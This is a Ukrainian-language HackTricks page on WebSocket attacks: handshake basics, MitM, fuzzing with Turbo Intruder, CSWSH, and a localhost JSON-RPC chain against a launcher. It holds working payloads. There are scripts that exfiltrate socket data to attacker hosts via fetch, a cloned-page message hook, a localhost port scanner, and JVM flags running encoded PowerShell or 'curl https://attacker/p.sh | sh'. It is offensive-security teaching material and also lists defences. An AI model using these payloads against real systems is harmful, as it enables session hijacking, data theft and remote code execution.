WebSocket-атаки

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Що таке WebSockets

WebSocket-з’єднання встановлюються через початковий HTTP handshake і призначені бути довготривалими, що дозволяє двонаправлену передачу повідомлень у будь-який час без потреби в транзакційній системі. Це робить WebSockets особливо корисними для застосунків, що вимагають низької затримки або зв’язку, ініційованого сервером, наприклад потоків живих фінансових даних.

Встановлення WebSocket-з’єднань

Детальний опис встановлення WebSocket-з’єднань доступний тут. У підсумку, WebSocket-з’єднання зазвичай ініціюються JavaScript на стороні клієнта, як показано нижче:

var ws = new WebSocket("wss://normal-website.com/ws")

Протокол wss означає WebSocket-з’єднання, захищене за допомогою TLS, тоді як ws позначає незахищене з’єднання.

Під час встановлення з’єднання між браузером і сервером по HTTP виконується handshake. Процес handshake включає відправлення браузером запиту та відповідь сервера, як показано в наведених прикладах:

Браузер надсилає handshake-запит:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Відповідь Server на handshake:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Після встановлення з’єднання воно залишається відкритим для обміну повідомленнями в обох напрямках.

Ключові моменти WebSocket Handshake:

  • Заголовки Connection і Upgrade сигналізують про початок WebSocket handshake.
  • Заголовок Sec-WebSocket-Version вказує бажану версію протоколу WebSocket, зазвичай 13.
  • У заголовку Sec-WebSocket-Key відправляється випадкове значення, закодоване Base64, що гарантує унікальність кожного handshake і допомагає уникнути проблем із кешуючими проксі. Це значення не використовується для автентифікації — воно служить для підтвердження того, що відповідь не згенерована неправильно налаштованим сервером або кешем.
  • Заголовок Sec-WebSocket-Accept у відповіді сервера є хешем від Sec-WebSocket-Key, що перевіряє наміри сервера відкрити WebSocket-з’єднання.

Ці механізми забезпечують безпечний і надійний процес handshake, створюючи умови для ефективної комунікації в режимі реального часу.

Консоль Linux

Можна використовувати websocat для встановлення raw-з’єднання з websocket.

websocat --insecure wss://10.10.10.10:8000 -v

Або створити сервер websocat:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connections

Якщо ви виявите, що clients підключені до HTTP websocket з вашої поточної локальної мережі ви можете спробувати ARP Spoofing Attack щоб виконати MitM attack між client та server.
Коли client намагатиметься підключитися до вас, ви можете використати:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Перерахування Websockets

Ви можете використовувати tool https://github.com/PalindromeLabs/STEWS щоб автоматично discover, fingerprint та шукати відомі vulnerabilities у websockets.

Інструменти налагодження Websocket

  • Burp Suite підтримує MitM websockets communication дуже схожим способом, як і для звичайного HTTP communication.
  • The socketsleuth Burp Suite extension дозволяє краще керувати Websocket communications у Burp, отримуючи history, встановлюючи interception rules, використовуючи match and replace rules, а також Intruder і AutoRepeater.
  • WSSiP: Short for “WebSocket/Socket.io Proxy”, цей інструмент, написаний на Node.js, надає інтерфейс для capture, intercept, send custom messages та перегляду всіх WebSocket і Socket.IO communications між клієнтом і сервером.
  • wsrepl — інтерактивний websocket REPL, спеціально розроблений для pentesting. Він надає інтерфейс для спостереження incoming websocket messages and sending new ones, з зручним фреймворком для automating цієї комунікації.
  • https://websocketking.com/ — веб-інструмент для спілкування через websockets.
  • https://hoppscotch.io/realtime/websocket — серед інших типів communications/protocols, надає веб-інтерфейс для спілкування через websockets.

Дешифрування Websocket

Лабораторія Websocket

В репозиторії Burp-Suite-Extender-Montoya-Course є код для запуску веба з використанням websockets, а в this post ви можете знайти пояснення.

Websocket Fuzzing

Burp extension Backslash Powered Scanner тепер дозволяє також fuzz WebSocket messages. Більше інформації можна прочитати here.

WebSocket Turbo Intruder (Burp extension)

WebSocket Turbo Intruder від PortSwigger приносить Turbo Intruder–style Python scripting і high‑rate fuzzing у WebSockets. Встановіть його з BApp Store або зі сорсів. Він містить два компоненти:

  • Turbo Intruder: high‑volume messaging до одного WS endpoint з використанням кастомних engines.
  • HTTP Middleware: експонує локальний HTTP endpoint, який форвардить bodies як WS messages через persistent connection, тому будь-який HTTP‑based scanner може перевіряти WS backends.

Basic script pattern to fuzz a WS endpoint and filter relevant responses:

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Використовуйте декоратори на кшталт @MatchRegex(...), щоб зменшити шум, коли одне повідомлення спричиняє кілька відповідей.

Проксування WS через HTTP (HTTP Middleware)

Огорніть постійне з’єднання WS і пересилайте тіла HTTP як WS-повідомлення для автоматизованого тестування з HTTP scanners:

def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Потім надішліть HTTP локально; тіло пересилається як WS-повідомлення:

POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

Це дозволяє керувати WS-бекендами, одночасно фільтруючи «цікаві» події (наприклад, SQLi-помилки, auth bypass, поведінку command injection).

Socket.IO обробка (handshake, heartbeats, events)

Socket.IO додає власну фреймінг поверх WS. Виявляйте це через обов’язковий query-параметр EIO (наприклад, EIO=4). Тримайте сесію живою за допомогою Ping (2) і Pong (3) і розпочинайте діалог зі "40", після чого emit’ьте події типу 42["message","hello"].

Приклад для Intruder:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Варіант HTTP-адаптера:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Виявлення server‑side prototype pollution via Socket.IO

Дотримуючись безпечної методики виявлення PortSwigger, спробуйте polluting Express internals, відправивши payload на кшталт:

{"__proto__":{"initialPacket":"Polluted"}}

Якщо привітання або поведінка змінюються (наприклад, echo містить “Polluted”), ймовірно, ви вчинили server-side prototype pollution. Наслідки залежать від доступних sinks; зіставте це з gadgets у розділі Node.js prototype pollution. Дивіться:

WebSocket race conditions with Turbo Intruder

За замовчуванням двигун пакує повідомлення в одне з’єднання (добрий throughput, погано для гонок). Використовуйте THREADED engine, щоб відкрити кілька WS-з’єднань і відправляти payloads паралельно для виклику логічних race (double‑spend, token reuse, state desync). Почніть із прикладного скрипта і налаштуйте concurrency в config().

  • Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

Сформуйте WS frames, у яких header вказує величезну payload length, але тіло не відправляється. Деякі WS-сервери довіряють length і попередньо виділяють буфери; встановлення значення близько до Integer.MAX_VALUE може спричинити Out‑Of‑Memory і remote unauth DoS. Див. прикладний скрипт.

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • Enable the WS Logger to capture and correlate messages using internal IDs.
  • Use inc*/dec* helpers on Connection to tweak message ID handling in complex adapters.
  • Decorators like @PingPong/@Pong and helpers like isInteresting() reduce noise and keep sessions alive.

Operational safety

Високошвидкісне WS-fuzzing може відкрити багато з’єднань і відправляти тисячі повідомлень за секунду. Malformed frames і високі швидкості можуть спричинити реальний DoS. Використовуйте лише там, де це дозволено.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, також відоме як cross-origin WebSocket hijacking, ідентифікується як конкретний випадок Cross-Site Request Forgery (CSRF), що впливає на WebSocket handshakes. Ця вразливість виникає, коли WebSocket handshakes автентифікуються виключно за допомогою HTTP cookies без CSRF tokens або подібних заходів захисту.

Атакувальники можуть експлуатувати це, розмістивши malicious web page, яка ініціює cross-site WebSocket-з’єднання до вразливого додатку. Як наслідок, це з’єднання розглядається як частина сесії жертви в додатку, що дозволяє обійти відсутність CSRF-захисту в механізмі обробки сесій.

Для успішності цієї атаки потрібні такі умови:

  • The websocket authentication must be cookie based
  • Cookie має бути доступною з сервера атакувальника (це зазвичай означає SameSite=None) і не має бути ввімкнено Firefox Total Cookie Protection у Firefox та не має бути blocked third-party cookies у Chrome.
  • websocket server не повинен перевіряти origin з’єднання (або це має бути обходжуваним)

Також:

  • Якщо автентифікація базується на локальному з’єднанні (до localhost або до локальної мережі), атака will be possible, оскільки наразі немає захистів, що це забороняють (check more info here)

Origin check disabled in Gorilla WebSocket (CheckOrigin always true)

У серверах Gorilla WebSocket встановлення CheckOrigin так, щоб він завжди повертав true, приймає handshakes з будь‑якого Origin. Якщо WS endpoint також lacks authentication, будь‑яка сторінка, доступна браузеру жертви (Internet або intranet), може upgrade socket і почати читати/відправляти повідомлення cross-site.

<script>
const ws = new WebSocket("ws://victim-host:8025/api/v1/websocket");
ws.onmessage = (ev) => fetch("https://attacker.tld/steal?d=" + encodeURIComponent(ev.data), {mode: "no-cors"});
</script>

Impact: ексфільтрація потокових даних у реальному часі (наприклад, перехоплені електронні листи/сповіщення) без облікових даних користувача, коли приймається будь-який Origin і endpoint пропускає автентифікацію.

Проста атака

Зверніть увагу, що під час встановлення websocket з’єднання cookie відправляється на сервер. Сервер може використовувати його, щоб пов’язати кожного конкретного користувача з його websocket сесією на основі відправленого cookie.

Тоді, якщо для наприклад websocket сервер повертає історію розмови користувача, коли надходить msg з “READY”, то проста XSS, що встановлює з’єднання (cookie буде відправлено автоматично для авторизації жертви), надсилаючиREADY”, зможе отримати історію розмови.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

У цій статті блогу https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ атакувальник зміг виконати довільний Javascript у субдомені домену, де відбувалося спілкування через Websocket. Оскільки це був субдомен, cookie надсилалася, і через те, що Websocket не перевіряв Origin належним чином, стало можливим спілкуватися з ним і вкрасти токени з нього.

Викрадення даних у користувача

Скопіюйте вебзастосунок, який ви хочете видати за інший (наприклад, файли .html), і всередині скрипта, де відбувається websocket communication, додайте цей код:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Тепер завантажте файл wsHook.js з https://github.com/skepticfx/wshook і збережіть його у папці з веб-файлами.
Опублікувавши веб-додаток і змусивши користувача підключитися до нього, ви зможете перехопити надіслані та отримані повідомлення через websocket:

sudo python3 -m http.server 80

Захист від CSWSH

Атака CSWSH базується на тому, що користувач перейде на зловмисну сторінку, яка відкриє websocket-з’єднання до веб-сторінки, де користувач вже підключений, і буде автентифікована від його імені, оскільки запит відправляє cookie користувача.

Нині запобігти цьому дуже просто:

  • Websocket server checking the origin: Сервер websocket повинен завжди перевіряти, звідки підключається користувач, щоб запобігти підключенню небажаних сторінок.
  • Authentication token: Замість того щоб базувати автентифікацію на cookie, websocket-з’єднання може використовувати токен, згенерований сервером для користувача і невідомий атакуючому (наприклад, anti-CSRF token).
  • SameSite Cookie attribute: Cookies зі значенням SameSite як Lax або Strict не будуть відправлені зі сторінки зовнішнього атакуючого на сервер жертви, тому автентифікація на основі cookie не спрацює. Зверніть увагу, що Chrome тепер за замовчуванням встановлює значення Lax для cookie без цього прапорця, роблячи їх більш безпечними за замовчуванням. Однак протягом перших 2 хвилин після створення cookie воно матиме значення None, що робить його вразливим у цей обмежений період (також очікується, що ця міра буде знята в якийсь момент).
  • Firefox Total Cookie Protection: Total Cookie Protection працює шляхом ізоляції cookie до сайту, на якому вони створені. Фактично кожен сайт має власний розділ збереження cookie, щоб запобігти зв’язуванню історії перегляду користувача третіми сторонами. Це робить CSWSH непридатним, оскільки сайт атакуючого не матиме доступу до cookie.
  • Chrome third-party cookies block: Це також може перешкодити відправці cookie автентифікованого користувача серверу websocket навіть при SameSite=None.

Localhost WebSocket abuse & browser port discovery

Desktop launchers часто запускають допоміжні сервіси (наприклад, CurseForge’s CurseAgent.exe), які відкривають JSON-RPC WebSockets на 127.0.0.1:<random_port>. Браузер does not enforce SOP on loopback sockets, тому будь-яка веб-сторінка може спробувати встановити handshake. Якщо агент приймає довільні значення Origin і пропускає вторинну автентифікацію, IPC-площина стає віддалено керованою безпосередньо з JavaScript.

Перерахування відкритих методів

Захопіть легітимну сесію, щоб вивчити контракт протоколу. CurseForge, наприклад, відправляє фрейми на кшталт {"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]}, де name — це RPC-метод, а args містить структуровані об’єкти (GUID, resolution, flags тощо). Коли ця структура відома, ви можете викликати методи на кшталт createModpack, minecraftGetDefaultLocation або будь-яке інше привілейоване завдання прямо зі впровадженої сторінки.

Виявлення портів з боку браузера

Оскільки хелпер прив’язується до випадкового високого порту, експлоїт спочатку перебирає localhost через WebSockets. Браузери на базі Chromium витримують приблизно ~16k невдалих upgrade перед тим, як почати обмежувати підключення, цього достатньо, щоб обійти ефемерний діапазон; Firefox зазвичай падає або зависає після кількох сотень невдач, тому практичні PoC часто орієнтуються на Chromium.

Мінімальний сканер браузера ```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```

Ланцюжування JSON-RPC методів для RCE

Експлойт CurseForge поєднує два неавтентифіковані виклики:

  1. createModpack → повертає новий MinecraftInstanceGuid без взаємодії з користувачем.
  2. minecraftTaskLaunchInstance → запускає цей GUID, одночасно приймаючи довільні JVM прапори через AdditionalJavaArguments.

Параметри діагностики JNI/JVM надають готовий примітив RCE. Наприклад, обмежте metaspace, щоб спричинити аварійне завершення, і скористайтеся error hook для виконання команд:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."

На Unix-цілях просто замініть payload на /bin/sh -c 'curl https://attacker/p.sh | sh'. Це працює навіть коли ви не можете торкнутися коду застосунку — достатньо контролювати JVM CLI.

Цей патерн «create resource → privileged launch» часто зустрічається в updaters і launchers. Кожного разу, коли метод (1) повертає ідентифікатор, відстежуваний сервером, а метод (2) виконує код або породжує процес з цим ідентифікатором, перевіряйте, чи можна інжектувати аргументи, контрольовані користувачем.

Умови гонки

Race Conditions в WebSockets також мають місце, check this information to learn more.

Інші вразливості

Оскільки Web Sockets є механізмом для надсилання даних на сервер та на клієнт, залежно від того, як сервер і клієнт обробляють інформацію, Web Sockets можуть бути використані для експлуатації інших вразливостей, таких як XSS, SQLi або будь-яка інша поширена web vuln, використовуючи введення користувача з websocket.

WebSocket Smuggling

This vulnerability could allow you to bypass reverse proxies restrictions by making them believe that a websocket communication was stablished (even if it isn’t true). This could allow an attacker to access hidden endpoints. For more information check the following page:

Upgrade Header Smuggling

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks